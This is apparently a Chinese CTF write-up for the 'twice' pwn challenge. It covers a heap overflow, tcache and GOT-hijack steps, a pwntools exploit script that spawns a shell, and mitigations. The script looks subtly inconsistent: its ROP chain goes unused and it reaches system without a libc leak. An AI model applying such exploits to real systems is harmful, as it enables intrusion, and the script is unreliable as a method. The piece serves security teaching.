共计 1592 个字符,预计需要花费 4 分钟才能阅读完成。
漏洞背景
首先检查二进制文件的安全防护机制,使用 checksec 工具查看 twice 的保护情况:
checksec twice
[*] '/ctf/twice'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
关键发现:
- 仅开启 NX 防护(不可执行栈)
- 未启用 PIE(代码段固定地址)
- 部分 RELRO(可修改 GOT 表)
在 IDA 中分析发现存在两个关键函数:
main()函数循环调用sub_400676()sub_400676()包含明显的堆操作漏洞(截图内存分配逻辑)

漏洞原理
通过逆向分析发现漏洞点在 sub_400676() 函数中:
- 使用
malloc(0x28)分配固定大小堆块 - 读入数据时使用
read(0, buf, 0x40)造成堆溢出
内存布局示意图:
+-------------------+ <-- 初始堆块
| 用户数据 (0x28) |
+-------------------+
| 下一个堆块头 | <-- 溢出覆盖目标
+-------------------+
关键点:溢出可覆盖相邻堆块的 size 字段和 fd 指针。
利用技术
步骤 1:堆布局控制
- 分配两个连续堆块 chunkA 和 chunkB
- 通过 chunkA 溢出修改 chunkB 的 size 字段
- 释放 chunkB 进入非常规大小的 tcache bin
步骤 2:ROP 链构造
利用未启用 PIE 的特性,直接使用固定地址的 gadget:
rop = ROP(elf)
rop.call('system', [next(elf.search(b'/bin/sh'))])
rop_chain = rop.chain()
步骤 3:GOT 表劫持
- 修改 free@got 指向 system 地址
- 申请包含 ”/bin/sh” 的堆块
- 触发 free 实现任意命令执行
完整利用脚本:
from pwn import *
context.update(arch='amd64', os='linux')
def exploit():
p = process('./twice')
elf = ELF('./twice')
# 堆布局准备
p.send(b'A'*0x28 + p64(0x41)) # 修改 chunkB size
# 构造 fake chunk
payload = flat({
0x20: [elf.got['free']
]
}, filler=b'\x00')
# 触发漏洞
p.send(payload)
p.send(p64(elf.sym['system']))
# 获取 shell
p.send(b'/bin/sh\x00')
p.interactive()
exploit()
防御方案
开发者可采取的修复措施:
-
使用安全的输入函数:
fgets(buf, sizeof(buf), stdin); -
启用完整防护机制:
gcc -Wl,-z,now,-z,relro -fPIE -pie -fstack-protector-all
防护效果对比:
| 防护机制 | 防御效果 |
|---|---|
| Full RELRO | 阻止 GOT 表修改 |
| Safe-Link | 检测 tcache 指针篡改 |
| FORTIFY_SOURCE | 检查缓冲区操作长度 |
实战建议
调试工具组合:
-
GEF 增强功能:
gef➤ heap bins gef➤ dereference $rax -
pwndbg 堆分析:
pwndbg> vis pwndbg> telescope 0x405000
常见问题解决:
- 堆布局错乱:增加
malloc_trim(0)重置堆状态 - 地址偏移计算错误:使用
vmmap确认段基址 - ROP 链构造失败:优先尝试
ret2libc技术
延伸思考
- 如何在启用 FULL RELRO 的情况下实现利用?
- 当存在 ASLR 但无 PIE 时,有哪些信息泄露方法?
- 现代 glibc 版本中 tcache 新增了哪些防护机制?
通过这道题目,我们系统性地实践了堆溢出漏洞的完整利用链条。建议读者尝试修改防护参数重新解题,体验不同防护机制的实战效果。
正文完
发表至: 未分类
近一天内
